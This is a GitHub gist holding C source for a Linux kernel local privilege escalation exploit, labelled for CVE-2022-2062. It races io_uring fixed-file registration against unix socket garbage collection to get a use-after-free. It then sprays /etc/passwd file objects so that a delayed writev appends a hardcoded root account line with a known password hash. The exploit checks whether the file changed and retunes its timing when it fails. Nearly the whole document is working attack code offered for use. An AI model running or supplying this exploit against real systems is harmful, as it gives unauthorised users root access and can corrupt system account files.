Last active
March 26, 2023 17:35
-
-
Save Mipu94/19c0be4ecaf3c00a3bce59b37f971da0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <sys/socket.h> | |
#include <liburing.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#include <linux/userfaultfd.h> | |
#include <sys/syscall.h> | |
#include <unistd.h> | |
#include <sys/wait.h> | |
#include <sys/ioctl.h> | |
#include <err.h> | |
#include <sched.h> | |
#include <errno.h> | |
#include <pthread.h> | |
#include <assert.h> | |
#include <crypt.h> | |
#include <sys/stat.h> | |
pthread_t tids[5]; | |
pthread_mutex_t lock; | |
int start_slow_write, finished_slow_write, start_submit_io_uring, finished_gc ; | |
// move iovec to global so later we no need to wait init heap mem | |
struct iovec iov[20]; | |
int offset; | |
void pin_on_cpu(int cpu) { | |
cpu_set_t cpu_set; | |
CPU_ZERO(&cpu_set); | |
CPU_SET(cpu, &cpu_set); | |
if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { | |
perror("sched_setaffinity()"); | |
exit(EXIT_FAILURE); | |
} | |
} | |
void print_affinity() { | |
cpu_set_t mask; | |
long nproc, i; | |
if (sched_getaffinity(0, sizeof(cpu_set_t), &mask) == -1) { | |
perror("sched_getaffinity"); | |
assert(false); | |
} | |
nproc = sysconf(_SC_NPROCESSORS_ONLN); | |
printf("sched_getaffinity = "); | |
for (i = 0; i < nproc; i++) { | |
printf("%d ", CPU_ISSET(i, &mask)); | |
} | |
printf("\n"); | |
} | |
void *slow_write() { | |
char s[4]; | |
int fd = open("/tmp/hihirwA", 1); | |
if (fd < 0) { | |
perror("error open uaf file"); | |
exit(-1); | |
} | |
// 2GB max | |
printf("[P] P3 => Slowing write...\n"); | |
start_slow_write = (int)clock(); | |
printf("start slowing write after %d\n", start_slow_write); | |
pthread_mutex_lock(&lock); | |
if (writev(fd, iov, 20) < 0) { | |
perror("slow write"); | |
} | |
print_affinity(0); | |
pthread_mutex_unlock(&lock); | |
finished_slow_write = (int)clock(); | |
double spent = (double)(finished_slow_write - start_slow_write) / CLOCKS_PER_SEC; | |
printf("finished slowing write after %d, spend %f s\n", finished_slow_write, spent); | |
close(fd); | |
return 0; | |
} | |
int sendfd(int s, int fd) | |
{ | |
struct msghdr msg; | |
char buf[4096]; | |
struct cmsghdr *cmsg; | |
int fds[1] = { fd }; | |
memset(&msg, 0, sizeof(msg)); | |
memset(buf, 0, sizeof(buf)); | |
msg.msg_control = buf; | |
msg.msg_controllen = sizeof(buf); | |
cmsg = CMSG_FIRSTHDR(&msg); | |
cmsg->cmsg_level = SOL_SOCKET; | |
cmsg->cmsg_type = SCM_RIGHTS; | |
cmsg->cmsg_len = CMSG_LEN(sizeof(fds)); | |
memcpy(CMSG_DATA(cmsg), fds, sizeof(fds)); | |
msg.msg_controllen = CMSG_SPACE(sizeof(fds)); | |
sendmsg(s, &msg, 0); | |
} | |
int wrap_io_uring_setup(int r, void *p) | |
{ | |
return syscall(__NR_io_uring_setup, r, p); | |
} | |
int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig) | |
{ | |
return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, sig); | |
} | |
int wrap_io_uring_register(unsigned int fd, unsigned int opcode, void *arg, unsigned int nr_args) | |
{ | |
return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); | |
} | |
int prepare_request(int fd, struct io_uring_params *params, struct io_uring *ring, struct iovec* iov) | |
{ | |
struct io_uring_sqe *sqe; | |
io_uring_queue_mmap(fd, params, ring); | |
sqe = io_uring_get_sqe(ring); | |
sqe->opcode = IORING_OP_WRITEV; | |
sqe->fd = 1; | |
//sqe->addr = (long) bogus; // POC | |
sqe->addr = iov; | |
sqe->len = 1; | |
sqe->flags = IOSQE_FIXED_FILE; | |
} | |
void setup_env(){ | |
system("rm -rf /tmp/hihirwA"); | |
if (access("/tmp/sleep", F_OK) == 0) { | |
} else { | |
// file doesn't exist | |
printf("init sleep file\n"); | |
FILE * fp; | |
fp = fopen("/tmp/sleep", "w"); // "w" defines "writing mode" | |
fputs("500000", fp); // default sleep 0.5s | |
fclose(fp); | |
} | |
} | |
int get_sleep_time(){ | |
FILE *fp; | |
char buff[255]; | |
fp = fopen("/tmp/sleep", "r"); | |
fscanf(fp, "%s", buff); | |
fclose(fp); | |
return atoi(buff); | |
} | |
void optimized_sleep_time(int time){ | |
printf("optimized_sleep_time = %d\n", time); | |
if(time < 200000) | |
{ | |
printf("slow_write have not enough time, please make sure available RAM size > 1G and /tmp space > 2G "); | |
} | |
clean_up(); | |
FILE *fp; | |
fp = fopen("/tmp/sleep", "w"); | |
fprintf(fp, "%d", time); | |
fclose(fp); | |
return; | |
} | |
void clean_up() | |
{ | |
printf("clean up data...\n"); | |
system("rm -rf /tmp/hihirwA /tmp/null /tmp/sleep"); | |
} | |
int main(int argc, char **argv) | |
{ | |
print_affinity(); | |
printf("VSRC: exploit for CVE-2022-2062, contact mipu if the poc doesn't work.\n"); | |
// atoi(argv[1]); | |
struct io_uring ring; | |
int fd, wait_time; | |
struct io_uring_params *params; | |
int rfd[32]; | |
int s[2]; | |
int backup_fd; | |
void* chunk; | |
unsigned long target_filename; | |
int target_fd; | |
struct stat st; | |
setup_env(); | |
stat("/etc/passwd", &st); | |
int original_passwd_size = st.st_size; // Used later to verify that /etc/passwd has changed | |
int size; | |
wait_time = get_sleep_time(); | |
printf("wait time: %d\n", wait_time); | |
pin_on_cpu(0); | |
print_affinity(); | |
for(int i = 0; i < 800; i++) | |
open("/tmp/null", O_RDWR | O_CREAT | O_TRUNC, 0644); | |
// init mem to write later | |
unsigned long int addr = 0x30000000; | |
for (offset = 0; offset < 0x80000 / 20; offset++) { | |
void *r = mmap((void *)(addr + offset * 0x1000), 0x1000, | |
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); | |
if (r < 0) { | |
perror("slow write"); | |
printf("allocate failed at 0x%x\n", offset); | |
} | |
} | |
assert(offset > 0); | |
printf("size: %d\n", offset); | |
void *mem = (void *)(addr); | |
memcpy(mem, "hhhhh", 5); | |
for (int i = 0; i < 20; i++) { | |
iov[i].iov_base = mem; | |
iov[i].iov_len = offset * 0x1000; | |
} | |
// end init mem | |
struct iovec iov[12]; | |
iov[0].iov_base = "pwned:$1$aa$Sc4m1DBsyHWbRbwmIbGHq1:0:0:/root:/root:/bin/sh\n"; | |
iov[0].iov_len = 59; | |
// create socket domain = local | |
socketpair(AF_UNIX, SOCK_DGRAM, 0, s); | |
params = malloc(sizeof(*params)); | |
memset(params, 0, sizeof(*params)); | |
params->flags = IORING_SETUP_SQPOLL; | |
fd = wrap_io_uring_setup(32, params); | |
rfd[0] = s[1]; | |
// O_APPEND in order to append text and not overwrite everything | |
rfd[1] = open("/tmp/hihirwA", O_RDWR | O_CREAT | O_TRUNC | O_APPEND, 0644); | |
if(rfd[1] < 0) | |
printf("error\n"); | |
else | |
printf("fd file target: %d\n", rfd[1]); | |
// 2 fd, 1 dau cua socket, 1 dau la dummy-file's fd | |
printf("[P] P1 => put dummy fd into io_uring\n"); | |
wrap_io_uring_register(fd, IORING_REGISTER_FILES, rfd, 2); | |
close(rfd[1]); // close dummy file | |
sendfd(s[0], fd); | |
close(s[0]); | |
close(s[1]); | |
// P2 | |
printf("[P] P2 => Creating thread for slow write on /tmp/hihirwA\n"); | |
if(pthread_create(&tids[0], NULL, slow_write, NULL)) | |
perror("pthread_create"); | |
printf("[*] Sleeping while waiting that slow_write starts .. \n"); | |
usleep(wait_time);// 0.5s | |
prepare_request(fd, params, &ring, &iov); | |
// P3/P4: should be immediate | |
printf("[P] P4 => Submit event write to sqe_uring\n"); | |
start_submit_io_uring = (int)clock(); | |
printf("start io_uring_submit after: %d\n", start_submit_io_uring); | |
io_uring_submit(&ring); | |
// io_uring_queue_exit(3) will release all resources acquired and initialized by io_uring_queue_init(3). | |
// It first unmaps the memory shared between the application and the kernel | |
// and then closes the io_uring file descriptor. | |
io_uring_queue_exit(&ring); | |
// we should wait 0.1s to make sure kernel freed the file object. | |
usleep(wait_time);// 0.1s | |
// Trigger unix_gc | |
printf("[P] P5 => Triggering unix_gc and freeing the registered fd\n"); | |
close(socket(AF_UNIX, SOCK_DGRAM, 0)); | |
printf("[*] unix_gc finished !\n"); | |
printf("[P] P6 => Spraying /etc/passwd ..\n"); | |
// Spray /etc/passwd files to re-fill the targeted chunk | |
for(int i =0; i < 600; i++){ | |
open("/etc/passwd", O_RDONLY); | |
} | |
finished_gc = (int) clock(); | |
// wait for slow write done, jst for finished_slow_write get correct val | |
printf("[*] Waits that the io_uring thread continues the writev operation while the process is still alive\n"); | |
pthread_mutex_lock(&lock); | |
bool pwned = false; | |
// Loop until /etc/passwd is not changed | |
for(int i=1; i < 6; i++) | |
{ | |
if(original_passwd_size == st.st_size){ | |
stat("/etc/passwd", &st); | |
size = st.st_size; | |
sleep(1); | |
printf("waiting %ds\n", i); | |
} | |
else | |
{ | |
pwned = true; | |
break; | |
} | |
} | |
if(pwned) | |
{ | |
printf("gotcha user pwn !!!\n"); | |
clean_up(); | |
} | |
else // if failed => optimized sleep time for next run | |
{ | |
printf("%d\n", finished_slow_write - start_slow_write); | |
printf("%d\n", finished_gc - start_submit_io_uring); | |
optimized_sleep_time(((finished_slow_write - start_slow_write) - (finished_gc - start_submit_io_uring ))-200000); | |
printf("failed!!\n"); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment